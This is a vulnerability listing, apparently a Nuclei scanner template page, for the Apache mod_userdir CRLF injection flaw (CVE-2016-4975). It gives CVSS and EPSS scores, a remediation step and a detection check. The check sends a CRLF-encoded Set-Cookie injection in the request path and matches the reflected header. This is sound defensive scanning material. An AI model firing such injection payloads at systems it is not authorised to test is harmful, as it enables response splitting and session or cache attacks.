Apache mod_userdir CRLF injection

2021-09-3019:35:17

ProjectDiscovery

github.com

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

6.5 Medium

AI Score

Confidence

High

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.004 Low

EPSS

Percentile

73.3%

JSON

Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.

id: CVE-2016-4975

info:
  name: Apache mod_userdir CRLF injection
  author: melbadry9,nadino,xElkomy
  severity: medium
  description: Apache CRLF injection allowing HTTP response splitting attacks on sites using mod_userdir.
  impact: |
    Successful exploitation of this vulnerability can lead to various attacks such as session hijacking, cross-site scripting (XSS), and cache poisoning.
  remediation: Upgrade to Apache HTTP Server 2.2.32/2.4.25 or higher.
  reference:
    - https://httpd.apache.org/security/vulnerabilities_22.html#CVE-2016-4975
    - https://httpd.apache.org/security/vulnerabilities_24.html#CVE-2016-4975
    - https://lists.apache.org/thread.html/56c2e7cc9deb1c12a843d0dc251ea7fd3e7e80293cde02fcd65286ba@%3Ccvs.httpd.apache.org%3E
    - https://lists.apache.org/thread.html/84a3714f0878781f6ed84473d1a503d2cc382277e100450209231830@%3Ccvs.httpd.apache.org%3E
    - https://lists.apache.org/thread.html/8d63cb8e9100f28a99429b4328e4e7cebce861d5772ac9863ba2ae6f@%3Ccvs.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-4975
    cwe-id: CWE-93
    epss-score: 0.00399
    epss-percentile: 0.70799
    cpe: cpe:2.3:a:apache:http_server:2.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: http_server
  tags: cve2016,cve,crlf,apache,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"

    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
# digest: 4a0a004730450220591243f64cba0b0c03d215d27b7a16783b2fbfb438d316dddf5577fd604ee4ed022100bf652b4a095563057b28cc33ac56040cc57495913b1ae8057328d07775384658:922c64590222798bb761d5b6d8e72950